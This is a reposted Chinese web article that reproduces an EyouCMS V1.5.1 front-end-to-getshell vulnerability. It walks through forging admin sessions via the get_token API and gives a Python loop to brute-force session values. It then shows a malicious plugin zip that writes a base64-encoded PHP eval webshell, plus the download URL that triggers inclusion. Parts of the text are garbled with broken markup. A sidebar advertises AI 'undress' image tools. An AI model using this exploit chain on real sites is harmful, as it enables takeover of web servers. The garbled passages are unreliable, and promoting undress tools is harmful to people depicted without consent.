搜尋
首頁運維安全如何進行EyouCMS V1.5.1 前台getshell漏洞復現

如何進行EyouCMS V1.5.1 前台getshell漏洞復現

May 20, 2023 pm 08:14 PM
getshelleyoucms

0x00 漏洞簡介

讚讚網路科技EyouCMS(易優CMS)是中國讚贊網路科技公司的一套基於ThinkPHP的開源內容管理系統(CMS)。

Eyoucms v1.5.1 及以前版本存在任意使用者後台登陸與檔案包含漏洞,該漏洞使攻擊者可以透過呼叫api,在前台設定一個管理員的session,後台遠端插件下載檔案包含getshell。

0x01 影響版本

EyouCMS

##0x02 環境建置

下載

官網下載V1.5.1版本
下載連線:https://qiniu.eyoucms.com/EyouCMS-V1.5.1-UTF8-SP3_142.zip

#安裝

透過phpstudy整合環境簡單部署

如何进行EyouCMS V1.5.1 前台getshell漏洞复现

0x03 漏洞分析

前台設定管理員session在application/api/controller/Ajax.php :215

如何进行EyouCMS V1.5.1 前台getshell漏洞复现

get_token

#函數是可以被前台隨意呼叫的,另外形參中的

#$name

變數也是透過http傳遞進來的。跟進token函數,如下圖所示。


如何进行EyouCMS V1.5.1 前台getshell漏洞复现

高亮處有一個設定session的操作,名字是可控的,而值是請求時間戳md5的值。不可控。

可以嘗試透過這個設定session的操作,建構出一個後台管理員的session。然後我們整理一下後台管理員的登入邏輯。在application/admin/controller/Base.php:54
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

這裡涉及到了兩個session,一個admin_login_expire,一個admin_id

if (session('?admin_id') && getTime() - intval($admin_login_expire) <p>admin_login_expire<code></code></p><p></p><p><code></code></p><p><br></p><p><code></code></p><p><br><img src="/static/imghwm/default1.png" data-src="https://img.php.cn/upload/article/000/000/164/168458488398297.jpg?x-oss-process=image/resize,p_40" class="lazy" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现"></p><p><code></code></p><p><br><br><img src="/static/imghwm/default1.png" data-src="https://img.php.cn/upload/article/000/000/164/168458488378613.jpg?x-oss-process=image/resize,p_40" class="lazy" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现"></p><p><img src="/static/imghwm/default1.png" data-src="https://img.php.cn/upload/article/000/000/164/168458488330190.jpg?x-oss-process=image/resize,p_40" class="lazy" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现"></p><p>#(該session會做減法的校驗,需要滿足一定條件)<br><br><br>admin_id<img src="/static/imghwm/default1.png" data-src="https://img.php.cn/upload/article/000/000/164/168458488375781.jpg?x-oss-process=image/resize,p_40" class="lazy" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现"></p><p>(該session有就即可,不會驗證其值)</p>設定完這兩個session後,我們繼續看到if條件判斷裡還有一個<h3>
<strong></strong>#check_priv</h3><p><br>函數,跟進查看:<br><br><img src="/static/imghwm/default1.png" data-src="https://img.php.cn/upload/article/000/000/164/168458488457115.jpg?x-oss-process=image/resize,p_40" class="lazy" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现"></p><pre class="brush:php;toolbar:false">if (0 >= intval(session('admin_info.role_id')))

admin_info.role_id
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

#(滿足小於等於0即可)

設定完三個session後,就可以進後台了,如圖:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

後台遠端外掛程式下載getshell在application/admin/controller/Weapp.php:1235
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

這裡傳進來一個$url,然後做一個url解析,要滿足host為eyoucms.com。

也就是程式限制只能從官網下載外掛程式安裝,但這個校驗太簡單了,可以​​繞。
然後下文就是請求這個下載鏈接,做解壓縮操作,並包含進來config.php。

這後面再做的外掛標準判斷已經不起作用了。


如何进行EyouCMS V1.5.1 前台getshell漏洞复现0x04 漏洞利用

######前台設定一個管理員的session###首先我們可以先取出成功登陸後的管理員session與未登入的普通使用者session做比較###管理員:############普通使用者:#############呼叫get_token函數設定名為admin_login_expire的session####### ######再查看該普通使用者的session############已成功設定。 ###同樣的我們可以把admin_id與admin_info.roke_id加進去。 ######但是###這md5字串顯然不符合漏洞分析中的要求,所以這裡透過腳本不斷刷新session,直到尋找到適當的md5值###
while 1 :
    admin_login_expire = api_psot("admin_login_expire")
    num_10 = admin_login_expire[2:12]
    if is_number(num_10):
        print("admin_login_expire=",num_10)
        break
while 1 :
    role_id = api_psot("admin_info.role_id")
    num_1 = role_id[2:3]
    if num_1 in ["a","b","c","d","e","f"]:
        print("role_id=",num_1)
        break
admin_id = api_psot("admin_id")
print("admin_id=",admin_id[2:-1])
###運行結果:## #######

session:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

再经过application/admin/controller/Base.php:58和:106的intval()的转换:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

成功使用该PHPSESSID进入后台:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

后台远程插件下载文件包含getshell
然后开始制作恶意压缩包,文件目录结构如下:

weappp\weapp\test\config.phpconfig.php

文件内容为写入webshell

<?php   file_put_contents("./uploads/allimg/news_2021.php",base64_decode("PD9waHAgcGhwaW5mbygpO0BldmFsKCRfUE9TVFttb3Z4XSk7Pz4="));
?>

压缩成weappp.zip,修改后缀为jpg
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

到eyoucms.com官网寻找图片上传点
比如这个提问模块的问题描述:
https://www.eyoucms.com/ask/
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

获取到上传的图片地址:
https://www.eyoucms.com/uploads/allimg/210420/1618908445631562.jpg
直接在浏览器中请求下载该插件:
http://192.168.58.180/login.php?m=admin&c=weapp&a=downloadInstall&url=https://www.eyoucms.com/uploads/allimg/210420/1618908445631562.jpg
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

此时webshell已成功写入:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

访问webshell:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

0x05 修复建议

升级EyouCMS至V1.5.2或以后版本。

以上是如何進行EyouCMS V1.5.1 前台getshell漏洞復現的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述
本文轉載於:亿速云。如有侵權,請聯絡admin@php.cn刪除

熱AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool

Undress AI Tool

免費脫衣圖片

Clothoff.io

Clothoff.io

AI脫衣器

AI Hentai Generator

AI Hentai Generator

免費產生 AI 無盡。

熱門文章

R.E.P.O.能量晶體解釋及其做什麼(黃色晶體)
4 週前By尊渡假赌尊渡假赌尊渡假赌
R.E.P.O.最佳圖形設置
4 週前By尊渡假赌尊渡假赌尊渡假赌
R.E.P.O.如果您聽不到任何人,如何修復音頻
4 週前By尊渡假赌尊渡假赌尊渡假赌
WWE 2K25:如何解鎖Myrise中的所有內容
1 個月前By尊渡假赌尊渡假赌尊渡假赌

熱工具

Dreamweaver Mac版

Dreamweaver Mac版

視覺化網頁開發工具

SublimeText3 英文版

SublimeText3 英文版

推薦:為Win版本,支援程式碼提示!

記事本++7.3.1

記事本++7.3.1

好用且免費的程式碼編輯器

Atom編輯器mac版下載

Atom編輯器mac版下載

最受歡迎的的開源編輯器

SAP NetWeaver Server Adapter for Eclipse

SAP NetWeaver Server Adapter for Eclipse

將Eclipse與SAP NetWeaver應用伺服器整合。